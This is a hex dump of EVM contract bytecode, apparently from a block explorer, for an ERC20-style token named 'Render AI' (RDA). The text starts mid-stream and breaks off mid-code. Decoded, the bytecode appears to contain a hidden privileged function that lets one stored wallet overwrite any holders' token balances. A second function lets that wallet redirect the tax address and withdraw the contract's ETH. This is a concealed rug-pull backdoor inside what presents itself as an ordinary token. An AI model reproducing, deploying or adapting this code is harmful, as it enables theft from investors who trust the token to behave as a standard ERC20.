273ffffffffffffffffffffffffffffffffffffffff16036112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c490612d80565b60405180910390fd5b5f811161130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690612e0e565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561137857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611675576113b960646113ab600c54600e54116113985760085461139c565b600a545b85611aaf90919063ffffffff16565b611b2690919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611464575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114d457600e5f8154809291906114ce90612e2c565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561155c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115a05761159d606461158f600d54600e541161157c57600954611580565b600b545b85611aaf90919063ffffffff16565b611b2690919063ffffffff16565b90505b5f6115aa306106ae565b9050601160159054906101000a900460ff16158015611615575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561162d5750601160169054906101000a900460ff165b15611673575f811115611669575f600354821061164c5760035461164e565b815b90506116678185106116605781611662565b845b611b6f565b505b61167247611dda565b5b505b5f811115611774576116cd8160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4290919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176b9190612254565b60405180910390a35b6117c48260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9f90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186761181b8284611e9f90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4290919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61190a8486611e9f90919063ffffffff16565b6040516119179190612254565b60405180910390a350505050565b5f83831115829061196c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119639190612116565b60405180910390fd5b505f838561197a9190612e73565b9050809150509392505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d90612ef0565b60405180910390fd5b5f5b8251811015611aa9575f838281518110611a3557611a34612f0e565b5b60200260200101519050611a9b81848481518110611a5657611a55612f0e565b5b60200260200101516040518060400160405280600b81526020017f4552433230204572726f720000000000000000000000000000000000000000008152506001611ee8565b508080600101915050611a18565b50505050565b5f808303611abf575f9050611b20565b5f8284611acc919061279e565b9050828482611adb9190612f68565b14611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613008565b60405180910390fd5b809150505b92915050565b5f611b6783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612045565b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ba657611ba5612386565b5b604051908082528060200260200182016040528015611bd45781602001602082028036833780820191505090505b50905030815f81518110611beb57611bea612f0e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cb3919061292b565b81600181518110611cc757611cc6612f0e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2d3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461102e565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d8f9594939291906130dd565b5f604051808303815f87803b158015611da6575f80fd5b505af1158015611db8573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e3e573d5f803e3d5ffd5b5050565b5f808284611e509190613135565b905083811015611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c906131b2565b60405180910390fd5b8091505092915050565b5f611ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611925565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158290611f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f519190612116565b60405180910390fd5b505f8310158290611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f989190612116565b60405180910390fd5b506001151581151514611ffc578260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ff79190612e73565b611ffe565b825b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f808311829061208b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120829190612116565b60405180910390fd5b505f83856120999190612f68565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120e8826120a6565b6120f281856120b0565b93506121028185602086016120c0565b61210b816120ce565b840191505092915050565b5f6020820190508181035f83015261212e81846120de565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61217082612147565b9050919050565b61218081612166565b811461218a575f80fd5b50565b5f8135905061219b81612177565b92915050565b5f819050919050565b6121b3816121a1565b81146121bd575f80fd5b50565b5f813590506121ce816121aa565b92915050565b5f80604083850312156121ea576121e961213f565b5b5f6121f78582860161218d565b9250506020612208858286016121c0565b9150509250929050565b5f8115159050919050565b61222681612212565b82525050565b5f60208201905061223f5f83018461221d565b92915050565b61224e816121a1565b82525050565b5f6020820190506122675f830184612245565b92915050565b5f805f606084860312156122845761228361213f565b5b5f6122918682870161218d565b93505060206122a28682870161218d565b92505060406122b3868287016121c0565b9150509250925092565b5f60ff82169050919050565b6122d2816122bd565b82525050565b5f6020820190506122eb5f8301846122c9565b92915050565b5f602082840312156123065761230561213f565b5b5f6123138482850161218d565b91505092915050565b61232581612166565b82525050565b5f60208201905061233e5f83018461231c565b92915050565b5f806040838503121561235a5761235961213f565b5b5f6123678582860161218d565b92505060206123788582860161218d565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6123bc826120ce565b810181811067ffffffffffffffff821117156123db576123da612386565b5b80604052505050565b5f6123ed612136565b90506123f982826123b3565b919050565b5f67ffffffffffffffff82111561241857612417612386565b5b602082029050602081019050919050565b5f80fd5b5f61243f61243a846123fe565b6123e4565b9050808382526020820190506020840283018581111561246257612461612429565b5b835b8181101561248b5780612477888261218d565b845260208401935050602081019050612464565b5050509392505050565b5f82601f8301126124a9576124a8612382565b5b81356124b984826020860161242d565b91505092915050565b5f67ffffffffffffffff8211156124dc576124db612386565b5b602082029050602081019050919050565b5f6124ff6124fa846124c2565b6123e4565b9050808382526020820190506020840283018581111561252257612521612429565b5b835b8181101561254b578061253788826121c0565b845260208401935050602081019050612524565b5050509392505050565b5f82601f83011261256957612568612382565b5b81356125798482602086016124ed565b91505092915050565b5f80604083850312156125985761259761213f565b5b5f83013567ffffffffffffffff8111156125b5576125b4612143565b5b6125c185828601612495565b925050602083013567ffffffffffffffff8111156125e2576125e1612143565b5b6125ee85828601612555565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561267a57808604811115612656576126556125f8565b5b60018516156126655780820291505b808102905061267385612625565b945061263a565b94509492505050565b5f82612692576001905061274d565b8161269f575f905061274d565b81600181146126b557600281146126bf576126ee565b600191505061274d565b60ff8411156126d1576126d06125f8565b5b8360020a9150848211156126e8576126e76125f8565b5b5061274d565b5060208310610133831016604e8410600b84101617156127235782820a90508381111561271e5761271d6125f8565b5b61274d565b6127308484846001612631565b92509050818404811115612747576127466125f8565b5b81810290505b9392505050565b5f61275e826121a1565b9150612769836122bd565b92506127967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612683565b905092915050565b5f6127a8826121a1565b91506127b3836121a1565b92508282026127c1816121a1565b915082820484148315176127d8576127d76125f8565b5b5092915050565b7f417373697374204661696c6564000000000000000000000000000000000000005f82015250565b5f612813600d836120b0565b915061281e826127df565b602082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61287b6020836120b0565b915061288682612847565b602082019050919050565b5f6020820190508181035f8301526128a88161286f565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6128e36011836120b0565b91506128ee826128af565b602082019050919050565b5f6020820190508181035f830152612910816128d7565b9050919050565b5f8151905061292581612177565b92915050565b5f602082840312156129405761293f61213f565b5b5f61294d84828501612917565b91505092915050565b5f6040820190506129695f83018561231c565b612976602083018461231c565b9392505050565b5f819050919050565b5f819050919050565b5f6129a96129a461299f8461297d565b612986565b6121a1565b9050919050565b6129b98161298f565b82525050565b5f60c0820190506129d25f83018961231c565b6129df6020830188612245565b6129ec60408301876129b0565b6129f960608301866129b0565b612a06608083018561231c565b612a1360a0830184612245565b979650505050505050565b5f81519050612a2c816121aa565b92915050565b5f805f60608486031215612a4957612a4861213f565b5b5f612a5686828701612a1e565b9350506020612a6786828701612a1e565b9250506040612a7886828701612a1e565b9150509250925092565b5f604082019050612a955f83018561231c565b612aa26020830184612245565b9392505050565b612ab281612212565b8114612abc575f80fd5b50565b5f81519050612acd81612aa9565b92915050565b5f60208284031215612ae857612ae761213f565b5b5f612af584828501612abf565b91505092915050565b7f4572726f720000000000000000000000000000000000000000000000000000005f82015250565b5f612b326005836120b0565b9150612b3d82612afe565b602082019050919050565b5f6020820190508181035f830152612b5f81612b26565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bc06024836120b0565b9150612bcb82612b66565b604082019050919050565b5f6020820190508181035f830152612bed81612bb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c4e6022836120b0565b9150612c5982612bf4565b604082019050919050565b5f6020820190508181035f830152612c7b81612c42565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cdc6025836120b0565b9150612ce782612c82565b604082019050919050565b5f6020820190508181035f830152612d0981612cd0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d6a6023836120b0565b9150612d7582612d10565b604082019050919050565b5f6020820190508181035f830152612d9781612d5e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612df86029836120b0565b9150612e0382612d9e565b604082019050919050565b5f6020820190508181035f830152612e2581612dec565b9050919050565b5f612e36826121a1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e6857612e676125f8565b5b600182019050919050565b5f612e7d826121a1565b9150612e88836121a1565b9250828203905081811115612ea057612e9f6125f8565b5b92915050565b7f4661696c656400000000000000000000000000000000000000000000000000005f82015250565b5f612eda6006836120b0565b9150612ee582612ea6565b602082019050919050565b5f6020820190508181035f830152612f0781612ece565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f72826121a1565b9150612f7d836121a1565b925082612f8d57612f8c612f3b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ff26021836120b0565b9150612ffd82612f98565b604082019050919050565b5f6020820190508181035f83015261301f81612fe6565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305881612166565b82525050565b5f613069838361304f565b60208301905092915050565b5f602082019050919050565b5f61308b82613026565b6130958185613030565b93506130a083613040565b805f5b838110156130d05781516130b7888261305e565b97506130c283613075565b9250506001810190506130a3565b5085935050505092915050565b5f60a0820190506130f05f830188612245565b6130fd60208301876129b0565b818103604083015261310f8186613081565b905061311e606083018561231c565b61312b6080830184612245565b9695505050505050565b5f61313f826121a1565b915061314a836121a1565b9250828201905080821115613162576131616125f8565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61319c601b836120b0565b91506131a782613168565b602082019050919050565b5f6020820190508181035f8301526131c981613190565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2ce0b5e38873d338a884d24e35043ec4140491d8a8522607a53e498fb8610a064736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063dd62ed3e146103c1578063ffc3a769146103fd57610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce5671461023757806360a6f45a1461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b6040516101389190612116565b60405180910390f35b34801561014c575f80fd5b50610167600480360381019061016291906121d4565b610462565b604051610174919061222c565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e9190612254565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c89190612254565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f29190612254565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c919061226d565b6104ae565b60405161022e919061222c565b60405180910390f35b348015610242575f80fd5b5061024b610582565b60405161025891906122d8565b60405180910390f35b34801561026c575f80fd5b50610287600480360381019061028291906122f1565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa91906122f1565b6106ae565b6040516102bc9190612254565b60405180910390f35b3480156102d0575f80fd5b506102d96106f4565b005b3480156102e6575f80fd5b506102ef610842565b005b3480156102fc575f80fd5b50610305610971565b6040516103129190612254565b60405180910390f35b348015610326575f80fd5b5061032f610977565b005b34801561033c575f80fd5b50610345610e99565b604051610352919061232b565b60405180910390f35b348015610366575f80fd5b5061036f610ec0565b60405161037c9190612116565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a691906121d4565b610efd565b6040516103b8919061222c565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612344565b610f1a565b6040516103f49190612254565b60405180910390f35b348015610408575f80fd5b50610423600480360381019061041e9190612582565b610f9c565b005b60606040518060400160405280600981526020017f52656e6465722041490000000000000000000000000000000000000000000000815250905090565b5f61047561046e611027565b848461102e565b6001905092915050565b60035481565b5f6009600a6104949190612754565b633b9aca006104a3919061279e565b905090565b60025481565b5f6104ba8484846111f1565b610577846104c6611027565b610572856040518060600160405280602881526020016131d16028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119259092919063ffffffff16565b61102e565b600190509392505050565b5f6009905090565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ca611027565b73ffffffffffffffffffffffffffffffffffffffff1614610620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061790612829565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610668611027565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156106aa573d5f803e3d5ffd5b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106fc611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610788576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077f90612891565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61084a611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90612891565b60405180910390fd5b6009600a6108e49190612754565b633b9aca006108f3919061279e565b6001819055506009600a6109079190612754565b633b9aca00610916919061279e565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61094b9190612754565b633b9aca0061095a919061279e565b6040516109679190612254565b60405180910390a1565b60015481565b61097f611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612891565b60405180910390fd5b601160149054906101000a900460ff1615610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a52906128f9565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610af73060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ae39190612754565b633b9aca00610af2919061279e565b61102e565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b85919061292b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2f919061292b565b6040518363ffffffff1660e01b8152600401610c4c929190612956565b6020604051808303815f875af1158015610c68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8c919061292b565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d13306106ae565b5f80610d1d610e99565b426040518863ffffffff1660e01b8152600401610d3f969594939291906129bf565b60606040518083038185885af1158015610d5b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d809190612a32565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e20929190612a82565b6020604051808303815f875af1158015610e3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e609190612ad3565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5244410000000000000000000000000000000000000000000000000000000000815250905090565b5f610f10610f09611027565b84846111f1565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff16610fbb611027565b73ffffffffffffffffffffffffffffffffffffffff1603611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612b48565b60405180910390fd5b61102361101c611027565b8383611987565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612bd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612c64565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111e49190612254565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361125f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125690612cf2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c490612d80565b60405180910390fd5b5f811161130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690612e0e565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561137857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611675576113b960646113ab600c54600e54116113985760085461139c565b600a545b85611aaf90919063ffffffff16565b611b2690919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611464575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114d457600e5f8154809291906114ce90612e2c565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561155c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115a05761159d606461158f600d54600e541161157c57600954611580565b600b545b85611aaf90919063ffffffff16565b611b2690919063ffffffff16565b90505b5f6115aa306106ae565b9050601160159054906101000a900460ff16158015611615575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561162d5750601160169054906101000a900460ff165b15611673575f811115611669575f600354821061164c5760035461164e565b815b90506116678185106116605781611662565b845b611b6f565b505b61167247611dda565b5b505b5f811115611774576116cd8160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4290919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176b9190612254565b60405180910390a35b6117c48260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9f90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186761181b8284611e9f90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e4290919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61190a8486611e9f90919063ffffffff16565b6040516119179190612254565b60405180910390a350505050565b5f83831115829061196c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119639190612116565b60405180910390fd5b505f838561197a9190612e73565b9050809150509392505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d90612ef0565b60405180910390fd5b5f5b8251811015611aa9575f838281518110611a3557611a34612f0e565b5b60200260200101519050611a9b81848481518110611a5657611a55612f0e565b5b60200260200101516040518060400160405280600b81526020017f4552433230204572726f720000000000000000000000000000000000000000008152506001611ee8565b508080600101915050611a18565b50505050565b5f808303611abf575f9050611b20565b5f8284611acc919061279e565b9050828482611adb9190612f68565b14611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613008565b60405180910390fd5b809150505b92915050565b5f611b6783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612045565b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ba657611ba5612386565b5b604051908082528060200260200182016040528015611bd45781602001602082028036833780820191505090505b50905030815f81518110611beb57611bea612f0e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cb3919061292b565b81600181518110611cc757611cc6612f0e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2d3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461102e565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d8f9594939291906130dd565b5f604051808303815f87803b158015611da6575f80fd5b505af1158015611db8573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e3e573d5f803e3d5ffd5b5050565b5f808284611e509190613135565b905083811015611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c906131b2565b60405180910390fd5b8091505092915050565b5f611ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611925565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158290611f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f519190612116565b60405180910390fd5b505f8310158290611fa1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526